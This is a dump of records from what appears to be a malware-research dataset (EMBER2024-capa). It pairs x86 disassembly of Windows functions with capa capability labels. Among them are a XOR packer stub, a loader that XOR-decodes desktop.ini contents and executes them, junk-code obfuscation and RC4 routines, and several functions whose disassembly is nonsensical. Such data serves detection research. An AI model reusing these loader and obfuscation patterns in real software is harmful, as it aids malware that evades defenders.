joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4248d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
push ebx
push esi
push edi
mov edi, ebp
xor ecx, ecx
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ucrtbased.dll_exit]
cmp esi, esp
call fcn.004012ee
pop edi
pop esi
pop ebx
add esp, 0xc0
cmp ebp, esp
call fcn.004012ee
mov esp, ebp
pop ebp
ret

Function at 0x428e00
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
push ebx
push esi
push edi
mov edi, ebp
xor ecx, ecx
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ucrtbased.dll_exit]
cmp esi, esp
call fcn.004012ee
pop edi
pop esi
pop ebx
add esp, 0xc0
cmp ebp, esp
call fcn.004012ee
mov esp, ebp
pop ebp
ret

Function at 0x429770
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc0
push ebx
push esi
push edi
mov edi, ebp
xor ecx, ecx
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov esi, esp
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.ucrtbased.dll_exit]
cmp esi, esp
call fcn.004012ee
pop edi
pop esi
pop ebx
add esp, 0xc0
cmp ebp, esp
call fcn.004012ee
mov esp, ebp
pop ebp
ret
Function at 0x402d00
Capabilities:
Check mutex on windows
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x419008]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
push edi
push 0
mov dword [0x41a424], esi
call dword [sym.imp.ole32.dll_CoInitialize]
mov edi, dword [sym.imp.USER32.dll_RegisterWindowMessageW]
push str.Gaming_device
call edi
movups xmm0, xmmword [str.EevisionControlCenter]
mov eax, dword [0x4160b4]
push 0x41a468
movups xmmword [0x41a468], xmm0
mov dword [0x41a490], eax
movups xmm0, xmmword [0x41609c]
push 1
push 0
movups xmmword [0x41a478], xmm0
movq xmm0, qword [0x4160ac]
movq qword [0x41a488], xmm0
movups xmm0, xmmword [0x416074]
movups xmmword [0x41a492], xmm0
movq xmm0, qword [0x416084]
movq qword [0x41a4a2], xmm0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
test eax, eax
je 0x402da8
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x402f0f
movups xmm0, xmmword [0x416074]
mov eax, dword [0x4160b4]
movups xmm3, xmmword [str.EevisionControlCenter]
mov dword [0x41a890], eax
movups xmm2, xmmword [0x41609c]
mov dword [0x41a690], eax
movq xmm1, qword [0x4160ac]
movups xmmword [0x41a892], xmm0
push str.4695579F_999A_41d4_9FAF_EFFCE93EBE19
movq xmm0, qword [0x416084]
movq qword [0x41a8a2], xmm0
movups xmm0, xmmword [0x41605c]
movups xmmword [0x41a868], xmm3
movups xmmword [0x41a692], xmm0
movq xmm0, qword [0x41606c]
movups xmmword [0x41a878], xmm2
movq qword [0x41a888], xmm1
movups xmmword [0x41a668], xmm3
movups xmmword [0x41a678], xmm2
movq qword [0x41a688], xmm1
movq qword [0x41a6a2], xmm0
call edi
mov ecx, esi
mov dword [0x41aa6c], eax
call fcn.00402f30
push 0
push esi
push 0
push 0
push 0
push 0x80000000
push 0
push 0x80000000
push 0xcf0000
push 0x41a868
push 0x41a668
push 0
mov dword [0x41aa68], esi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov edi, eax
test edi, edi
je 0x402f0f
push 0
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
call dword [sym.imp.USER32.dll_UpdateWindow]
push 0x6d
push esi
call dword [sym.imp.USER32.dll_LoadAcceleratorsW]
mov esi, dword [sym.imp.USER32.dll_GetMessageW]
push 0
push 0
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x20]
push 0
push eax
call esi
test eax, eax
je 0x402ef4
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
push ebx
mov ebx, dword [sym.imp.USER32.dll_DispatchMessageW]
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x24]
push dword [ebp - 0x20]
call dword [sym.imp.USER32.dll_TranslateAcceleratorW]
test eax, eax
jne 0x402ee3
lea eax, [ebp - 0x20]
push eax
call edi
lea eax, [ebp - 0x20]
push eax
call ebx
push 0
push 0
push 0
lea eax, [ebp - 0x20]
push eax
call esi
test eax, eax
jne 0x402ec3
pop ebx
call dword [sym.imp.ole32.dll_CoUninitialize]
mov eax, dword [ebp - 0x18]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004043dd
mov esp, ebp
pop ebp
ret 0x10
mov ecx, dword [ebp - 4]
xor eax, eax
pop edi
xor ecx, ebp
pop esi
call fcn.004043dd
mov esp, ebp
pop ebp
ret 0x10
Function at 0x403700
Capabilities:
Create thread

Disassembly:
cmp dword [0x41a45c], 0
je 0x403712
cmp dword [0x41a458], 0
jne 0x40377c
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x41a45c], eax
test eax, eax
je 0x40377c
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x41a460], eax
test eax, eax
je 0x40377c
mov ecx, dword [0x41a45c]
push 0
push 0
push 0x41a44c
push 0x4031d0
mov dword [0x41a450], ecx
mov ecx, dword [0x41a464]
push 0
push 0
mov dword [0x41a454], ecx
mov dword [0x41a44c], eax
call fcn.004076a1
add esp, 0x18
mov dword [0x41a458], eax
ret

Function at 0x403780
Capabilities:
Terminate thread

Disassembly:
mov eax, dword [0x41a45c]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x4037e3
cmp dword [0x41a458], 0
je 0x4037d2
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0x3e8
push 1
push 0x41a458
push 1
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
je 0x4037cd
cmp eax, 0x80
je 0x4037cd
push 0
push dword [0x41a458]
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov eax, dword [0x41a45c]
test eax, eax
je 0x4037e3
push eax
call esi
mov dword [0x41a45c], 0
mov eax, dword [0x41a460]
test eax, eax
je 0x4037f9
push eax
call esi
mov dword [0x41a460], 0
mov eax, dword [0x41a458]
test eax, eax
je 0x40380f
push eax
call esi
mov dword [0x41a458], 0
pop esi
ret

Function at 0x4048f3
Capabilities:
Terminate process

Disassembly:
push 0x14
push 0x417468
call fcn.00404de0
push 1
call fcn.004044de
pop ecx
test al, al
jne 0x4047aa
push 7
call fcn.00404c37
xor bl, bl
mov byte [ebp - 0x19], bl
and dword [ebp - 4], 0
call fcn.004044a9
mov byte [ebp - 0x24], al
mov eax, dword [0x419910]
xor ecx, ecx
inc ecx
cmp eax, ecx
je 0x4047a3
test eax, eax
jne 0x404814
mov dword [0x419910], ecx
push 0x411240
push 0x411228
call fcn.004089ca
pop ecx
pop ecx
test eax, eax
je 0x4047f7
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x4048ed
push 0x411224
push 0x41120c
call fcn.0040896e
pop ecx
pop ecx
mov dword [0x419910], 2
jmp 0x404819
mov bl, cl
mov byte [ebp - 0x19], bl
push dword [ebp - 0x24]
call fcn.00404638
pop ecx
call fcn.00404f3c
mov esi, eax
xor edi, edi
cmp dword [esi], edi
je 0x404849
push esi
call fcn.004045ae
pop ecx
test al, al
je 0x404849
push edi
push 2
push edi
mov esi, dword [esi]
mov ecx, esi
call fcn.00404dda
call esi
call fcn.00404f42
mov esi, eax
cmp dword [esi], edi
je 0x404867
push esi
call fcn.004045ae
pop ecx
test al, al
je 0x404867
push dword [esi]
call fcn.00407db7
pop ecx
call fcn.00404d52
movzx eax, ax
push eax
call fcn.00408928
push eax
push edi
push 0x400000
call main
mov esi, eax
call fcn.00407cc6
test al, al
jne 0x404892
push esi
call fcn.00407def
test bl, bl
jne 0x40489b
call fcn.00407d92
push edi
push 1
call fcn.00404655
pop ecx
pop ecx
mov dword [ebp - 4], 0xfffffffe
mov eax, esi
jmp 0x4048ed
call fcn.00404e26
ret
call fcn.00404e3b
jmp 0x40478b
Function at 0x430000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x408f6c
mov ecx, 0x7ee73633
nop
nop
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x43004e
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x430024
mov eax, section..data
nop
mov ebx, 0x42e3d0
nop
mov ecx, 0x78c7094d
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x430084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x43006c
nop
nop
nop
nop
popal
nop
jmp 0x401219
Function at 0x404ce0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov bh, 0x2a
mov eax, dword [0xeb90a568]
or al, byte [eax - 0x5729fa86]
xchg ecx, eax
push ss
or dword [ebx], esp
Function at 0x4082b0
Capabilities:
Authenticate hmac
Execute syscall

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
adc al, 0x36
cld
fimul word [ebx - 0x74aff383]
inc ebp
or byte [ebp - 0x2dcc17b3], cl
aam 0xc8
or al, 0x51
push 1
push edx
call fcn.004080f0
mov ebx, eax
mov eax, dword [ebp + 8]
add esp, 0xffffffbd
lea ecx, [ebp - 0x13672]
inc esi
inc esi
cmp cl, byte [ebx - 0x27afe3b8]
push esi
call fcn.00406d90
pushfd
xor cl, bl
adc al, 0x8b
sub bh, byte [ecx]
dec ebx
sub edi, ebx
mov edi, 0x3f03c6d1
mov dword [edx], edi
jge 0x408364
pop ebx
mov ebp, dword [ecx - 0x1743ca3]
or ecx, 3
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
sub ebx, dword [ebx - 0x4743e75]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov eax, dword [ebp + 0xc]
pop edx
sbb al, 3
sub eax, ebx
aas
movsb byte es:[edi], byte [esi]
int 0x2e
sbb dword [edi + 0x5e], 0xc38b0189
pop ebx
mov esp, ebp
pop ebp
ret
nop
imul edx, dword [eax - 0x6f6f6f3f], 0xffffff90
nop
nop
nop
nop
push ebp
mov ebp, esp
sub esp, 0x5c
mov al, byte [ebp + 8]
push ebx
push esi
inc ebp
or byte [ebx + 0x56], dl
mov edx, dword [ebp + 0x7d1b5720]
sbb byte [esi], bh
jne 0x4083a2
mov ecx, dword [ebp + 3]
push esp
aad 0x83
push eax
mov eax, dword [ebp - 0x6d]
lea edx, [ebp + 0x18]
mov ch, 0xa9
or al, 0x52
push edi
cwde
push ecx
call 0xa48560
les ebx, [0x551c4551]
push ecx
inc ebp
sbb al, 0x55
nop
movsb byte es:[edi], byte [esi]
push edx
lea ecx, [ebp + 0x18]
push eax
mov eax, dword [ebp + 0x1c]
lea edi, [ebp + 1]
push ecx
mov ecx, dword [ebp - 0x38]
push edx
push eax
push ecx
call fcn.00407ec0
mov edx, dword [0xc799c174]
mov ebx, eax
add esp, 0x18
cmp dword [edx], 1
jle 0x408377
xor edx, dword [ebx + 0x68]
add edx, dword [edx]
add byte [eax], al
mov bl, byte [ebx + 0x6815ffcb]
sar esi, 0
add esp, 8
jmp 0x4083f9
test eax, eax
je 0x408434
mov edi, ebx
or ecx, 0xffffffff
xor edx, dword [ebx]
mov edx, dword [ebp + 0x24]
repne scasb al, byte es:[edi]
mov ebp, esi
and byte [ebx + 0x49d1f7f3], cl
aad 0xf8
mov edi, ebx
inc ecx
mov edx, ecx
ror dword [edx], 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
dec eax
dec ebp
sbb al, 0x5f
pop esi
pop ebx
mov dword [ecx], 0xac0000
mov esp, ebp
pop ebp
ret
mov ah, byte [eax]
or byte [eax + 0x1d7566fa], al
jne 0x408459
jnp 0x4084bb
out 0x85, al
sar byte [edi - 1], 0x8b
jne 0x408466
mov byte [esi], 0x30
inc esi
test edi, edi
jle 0x40843a
jg 0x408456
inc esi
test eax, eax
jge 0x4083d6
xlatb
fcom dword [eax + ecx*8 - 0x77]
inc ebp
sbb al, 0x8b
ror dword [edx - 0x24cfcfd0], 1
mov esp, dword [edx]
enter 0x4589, 0x1c
mov edx, ecx
mov dh, byte [eax]
xor byte [eax], dh
fisttp dword [ebx + 0x2e9c122]
shr ecx, 2
rep stosd dword es:[edi], eax
ror edx, cl
and ecx, 3
rep stosb byte es:[edi], al
mov eax, dword [ebp + 0x18]
mov ecx, edx
mov dl, byte [ebp + 8]
cmpsb byte [esi], byte es:[edi]
int1
add esi, dword [edi + 0x1845dc40]
jmp 0x4084c3
add al, 0xc6
push es
or eax, dword [esi - 0x75]
cld
inc ecx
mov al, byte [ebp - 0x7c]
leave
or cl, byte [ebx]
mov bh, cl
mov cl, byte [ebx + 1]
inc esi
inc ebx
sar byte [ecx], 0x75
cmc
int3
Function at 0x10001193
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
mov esi, str.dpmmBmbvusjWfmjGebfSfmjGfubfsDXfuvdfyFmmfiT
push edi
mov eax, esi
call fcn.1000117f
push esi
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
xor ebx, ebx
push str.shell32.dll
mov byte [0x10003029], bl
mov byte [0x10003034], bl
mov byte [0x1000303d], bl
call esi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call edi
push 0x10003035
push str.kernel32.dll
mov dword [ebp - 4], eax
call esi
push eax
call edi
push 0x1000303e
push str.kernel32.dll
mov dword [ebp - 8], eax
call esi
push eax
call edi
push 1
push ebx
push ebx
push 0x10002058
push ebx
push ebx
mov edi, eax
call dword [ebp - 4]
push ebx
push 0x80
push 3
push ebx
push 1
push 0x80000000
push str.desktop.ini
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [0x10003060], eax
cmp eax, 0xffffffff
je 0x100013f5
push 0x40
mov esi, 0x1000
push esi
push esi
push ebx
call edi
push ebx
push 0x10003064
push esi
push eax
push dword [0x10003060]
mov dword [0x1000305c], eax
call dword [ebp - 8]
mov eax, dword [0x1000305c]
mov cl, byte [eax]
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
movzx ecx, cl
xor ecx, 0x4e
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
xor esi, esi
cmp dword [0x10003064], esi
jbe 0x10001375
mov eax, dword [0x1000305c]
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003064]
jb 0x1000135c
push eax
xor bx, si
xor bx, si
btc esi, 0x8d
xor dx, 0xf73
xor dx, 0x7cc5
xor dx, 0xae7
xor dx, 0x7951
btc esi, 0x8d
ror si, 2
rol si, 2
pop eax
xor bx, 0x1fdd
xor bx, 0xfe35
xor bx, 0xa079
xor bx, 0x4191
push eax
xor bp, bx
xor bp, bx
ror bl, 0x3f
test di, bx
rol bl, 0x3f
xor dx, 0xf37d
xor dx, 0xef5d
xor dx, 0xbe3c
xor dx, 0xa21c
pop eax
rol di, 0x7e
ror di, 0x7e
push eax
xor dx, ax
xor dx, ax
test bp, cx
xor bx, bp
call dword [0x1000305c]
pop edi
pop esi
pop ebx
leave
ret 0x10

Function at 0x414dd3
Capabilities:
Encode data using xor

Disassembly:
xor dword [edi], edx
mov eax, 0x912c7e82
and ecx, eax
sub ecx, 0x811d6db7
add edi, 4
sub ecx, 0xfca348f6
sub eax, 0xfda56a6f
mov ebx, 0xc070d57a
cmp edi, esi
jne fcn.00414dd3
or eax, ecx
ret
Function at 0x4010d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov ecx, 0x7eb9
xor esi, esi
mov edi, 0x144e
mov eax, 0x4ec4ec4f
imul edi
sar edx, 2
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x4010e2
mov ebx, 0x30bf
lea ebx, [ebx]
mov eax, 0x634c0635
imul ebx
sar edx, 6
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x401100
mov edx, dword [ebp + 8]
test edx, edx
je 0x401261
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x401261
cmp edx, eax
jae 0x401261
xor ecx, ecx
inc ecx
mov eax, ecx
and eax, 0x80000001
jns 0x401142
dec eax
or eax, 0xfffffffe
inc eax
jne 0x401145
inc ecx
cmp ecx, 0x7294
jl 0x401133
sub dword [ebp + 0xc], edx
mov ecx, 0x6440
mov edx, 0x9b
mov eax, 0xeb
nop
cmp eax, 0x9b
cmovg eax, edx
dec ecx
jne 0x401160
mov ebx, 0x3eb3
mov eax, 0x30c30c31
imul ebx
sar edx, 2
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x401170
mov ecx, 0x3438
mov edx, 0x48
mov ebx, 0x6a88
mov eax, 0x25
cmp eax, 0x48
cmovl eax, edx
dec ecx
jne 0x401197
mov eax, 0x5c55
dec eax
jne 0x4011a5
inc esi
mov eax, esi
and eax, 0x80000001
jns 0x4011b7
dec eax
or eax, 0xfffffffe
inc eax
jne 0x4011ba
inc esi
cmp esi, 0x417e
jl 0x4011a8
mov ecx, 0x156d
mov eax, 0x8d3dcb09
imul ecx
add edx, ecx
sar edx, 7
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x4011c7
mov esi, dword [ebp + 0xc]
test esi, esi
je 0x4011f4
mov edx, dword [ebp + 8]
mov al, byte [ecx + edx + 1]
sub al, 0x80
xor byte [ecx + edx], al
inc ecx
cmp ecx, esi
jb 0x4011e6
mov edi, 0x3bd1
lea esp, [esp]
mov eax, 0x60606061
imul edi
sar edx, 5
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x401200
mov ecx, 0x1629
mov edx, 0xaa
mov edi, 0x64aa
mov eax, 0x7e
cmp eax, 0xaa
cmovl eax, edx
dec ecx
jne 0x401227
mov eax, 0xae4c415d
imul ebx
add edx, ebx
sar edx, 7
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
jne 0x401232
mov eax, 0x9c09c09d
imul edi
add edx, edi
sar edx, 7
mov edi, edx
shr edi, 0x1f
add edi, edx
jne 0x401247
pop edi
pop esi
pop ebx
pop ebp
ret
mov eax, 0x17ad2209
imul ecx
sar edx, 4
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
jne 0x401261
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x403370
Capabilities:
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push edi
xor edi, edi
cmp dword [ebp + 0x10], edi
jbe 0x4033cd
mov eax, dword [ebp + 8]
push ebx
push esi
mov ecx, dword [ebp + 0xc]
inc edi
mov bh, byte [edi + ecx - 1]
inc byte [eax]
movzx esi, byte [eax]
movzx edx, byte [esi + eax + 2]
movzx ecx, byte [eax + 1]
add esi, eax
add ecx, edx
movzx edx, cl
mov byte [eax + 1], cl
movzx ecx, byte [edx + eax + 2]
mov bl, byte [esi + 2]
mov byte [esi + 2], cl
mov byte [edx + eax + 2], bl
movzx ecx, byte [esi + 2]
mov edx, dword [ebp + 0xc]
add cl, bl
movzx ecx, cl
movzx ecx, byte [ecx + eax + 2]
xor cl, bh
mov byte [edi + edx - 1], cl
cmp edi, dword [ebp + 0x10]
jb 0x403380
pop esi
pop ebx
pop edi
pop ebp
ret
Function at 0x10004862
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.1000fed0
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.10006586
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x100048a4
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x10004a00
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.1000fe20
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x10018ef8]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.10006891
mov ecx, dword [esi*4 + 0x10018ef8]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x100049f9
cmp eax, dword [ecx + edi + 0x24]
jne 0x100049f9
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100049f9
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.10006891
add esp, 0x14
test edx, edx
jl 0x100049f9
jg 0x1000496f
test eax, eax
jb 0x100049f9
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x100049f9
jl 0x10004989
cmp dword [ebp - 0x1008], eax
ja 0x100049f9
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x100049a7
test ebx, ebx
je 0x100049e0
cmp ecx, edi
jae 0x100049e0
mov al, byte [ecx]
cmp al, 0xd
jne 0x100049c1
lea eax, [edi - 1]
cmp ecx, eax
jae 0x100049cd
cmp byte [ecx + 1], 0xa
jne 0x100049cd
inc ecx
jmp 0x100049cd
movzx eax, al
movsx eax, byte [eax + 0x10018208]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x100049a7
cmp edx, ebx
jne 0x100049a7
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x100049fe
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10001330
leave
ret

Function at 0x100057e5
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10005824
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10005824
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10005824
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10005824
cmp dword [ecx + 0x74], 0xe
jbe 0x10005824
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x10007002
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x10018ef8]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x10007042
cmp byte [ebx], 0xa
jne 0x10007042
or byte [edi + eax + 0x28], 4
jmp 0x10007047
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x10007146
mov dl, byte [eax]
cmp dl, 0x1a
je 0x10007129
inc eax
cmp dl, 0xd
je 0x10007073
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x10007099
cmp eax, ecx
jae 0x100070a7
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x1000705b
jmp 0x10007146
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x10007124
cmp dword [ebp - 0x10], 0
je 0x10007124
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x10018ef8]
test byte [eax + edi + 0x28], 0x48
je 0x100070fe
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x100070e9
mov byte [esi], dl
jmp 0x100070fa
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x10018ef8]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x10007146
cmp byte [ebp - 1], 0xa
jne 0x1000710d
cmp esi, ebx
jne 0x1000710d
mov byte [esi], 0xa
jmp 0x10007145
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.100068af
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x10007146
mov byte [esi], 0xd
jmp 0x10007145
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x10018ef8]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x10007143
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x10007146
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret